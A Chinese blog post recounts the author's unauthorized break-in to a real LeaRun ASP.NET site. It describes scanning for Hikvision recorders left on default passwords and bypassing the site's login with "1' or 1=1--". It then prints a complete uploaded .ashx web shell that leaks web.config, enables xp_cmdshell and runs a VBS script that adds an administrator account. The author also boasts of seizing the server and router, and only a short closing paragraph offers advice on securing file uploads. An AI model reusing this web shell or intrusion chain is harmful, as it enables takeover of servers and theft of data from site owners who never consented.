ASP.NET網站入侵第二波(LeaRun.信息化快速開發框架 已被筆者拿下)
詳細介紹請看第二波
首先我要申明的是不是什么語言寫出來的程序就不安全,而是得看寫代碼的人如何去寫這個程序
前些日子我去客戶那調研,發現客戶的監控系統用的是海康威視的硬盤錄像機,然后默認用戶名是amdin 密碼是12345,回來后就想玩一玩看看有多少人用的是默認密碼,於是就寫了個掃描程序,很快掃描到了一大批網站,也得到很多采用的是默認用戶名和密碼。
玩了一兩天后發現沒什么好玩的,就隨便在里面找找掃描記錄,看到一些后台登陸地址,於是就都測試下,然后就發現了這個網站:
最開始我是測試弱口令,
admin amdin 等,隨便測試了幾個,沒成功,於是開始測試sql的防注入,用戶名輸入 1' or 1=1-- 密碼隨便輸了個1 登陸,居然登陸成功了。。。。
但發現登陸進來后報錯了,,, 想了下可能是用戶名的問題,於是就找頁面看看能不能看到我的登陸用戶名,最后找到寫郵件里面看到了
當然如果入侵只到這 你肯定會絕對弱爆了。。。其實當然也是,因為我拿下了他的數據和程序。。。當然最好拿下了他的服務器,得知他服務器是做的端口映射,於是又拿下了他的路由器,然后就沒有再繼續往下進行了,當然還可以繼續下去,比如 路由器的dns劫持,頁面重定向,端口鏡像等等
下面我開始介紹主要入侵頁面,文件上傳頁面
自己寫了個ashx頁面,上傳
代碼很簡單,就是讀取網站的web.config文件然后以文本形式輸出,
我先簡單說下入侵流程:
1、讀取web.config得到數據庫連接
2、利用SQL Server執行命令添加Windows用戶(因為網站默認是iis用戶,沒有權限直線net等相關操作,但SQL Server是基於本地服務運行的,權限很高)
我貼出我上傳的ashx文件代碼:

1 <%@ WebHandler Language="C#" Class="TextLd" %> 2 using System; 3 using System.Collections.Generic; 4 using System.Linq; 5 using System.Web; 6 using System.Data.SqlClient; 7 8 public class TextLd : IHttpHandler 9 { 10 public void CreateLocalUser(string newPath) 11 { 12 System.Diagnostics.Process.Start(@"d:\1.vbs"); 13 System.IO.File.WriteAllText(@"d:\1.vbs", "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nod=ob.Create(\"user\",\"test\") '建立用戶 \r\nSetPassword \"1234\" '設置密碼 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 14 } 15 public void ShowWebConfig(HttpContext context) 16 { 17 context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 18 } 19 public void WriteVbs(HttpContext context) 20 { 21 System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"), "set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\") \r\n os=\"WinNT://\"&wsnetwork.ComputerName \r\n Set ob=GetObject(os) \r\nSet oe=GetObject(os&\"/Administrators,group\") '屬性,admin組\r\nod=ob.Create(\"user\",\"test\") '建立用戶 \r\nSetPassword \"1234\" '設置密碼 \r\nSetInfo\r\nof=GetObject(os&\"/test\",user)\r\n add os&\"/test\""); 22 } 23 public void ExecuteSql(string connection, string sql) 24 { 25 using (SqlConnection con = new SqlConnection(connection)) 26 { 27 using (SqlCommand commd = new SqlCommand(sql, con)) 28 { 29 con.Open(); 30 commd.ExecuteNonQuery(); 31 con.Close(); 32 } 33 } 34 } 35 public void ProcessRequest(HttpContext context) 36 { 37 context.Response.ContentType = "text/plain"; 38 context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config"))); 39 try 40 { 41 var connection = context.Request.QueryString["connection"]; 42 switch (context.Request.QueryString["method"]) 43 { 44 case "1": WriteVbs(context); break; 45 case "2": 46 ExecuteSql(connection,@"sp_configure 'show advanced options',1 reconfigure"); 47 ExecuteSql(connection,@"sp_configure 'xp_cmdshell',1 reconfigure");//開啟數據庫的xp_cmdshell 48 break; 49 case "3": ExecuteSql(connection, "exec master..xp_cmdshell 'cscript " + context.Request.MapPath("~/1.vbs") + "'"); 50 break; 51 default: 52 ShowWebConfig(context); 53 break; 54 } 55 } 56 catch (Exception ex) 57 { 58 context.Response.Write(ex.Message); 59 } 60 context.Response.End(); 61 } 62 public bool IsReusable 63 { 64 get 65 { 66 return false; 67 } 68 } 69 }
然后一次執行,就這樣服務器就被我拿下了。。。 建立了一個用戶名為test密碼是1234的超級管理員用戶,於是測試下遠程連接
然后弄干啥,大家都知道的。。。。
當然,如果不拿下他服務器,你想想你都能直線你自己寫的代碼了。。。 什么壞事干不了。。。 當然本人只是測試了下可行性,就算不拿下服務器,執行sql語句把他數據庫備份下載下來拿還不是分分鍾的事情?
好了 我來總結下這次入侵吧,最主要的婁底其實不是他的sql注入(個人覺得,當然他是導火索),而是文件上傳,大部分程序員在寫文件上傳功能的時候,之前客戶上傳過來的文件保存到網站目錄下的某個文件夾,不做任何處理,這也就是導致了他服務器被我拿下的最主要的入口。
所以我還是奉勸大家一下,做文件上傳還是對文件進行下處理比較好,具體怎么處理我想聰明的你肯定有很多方法。。。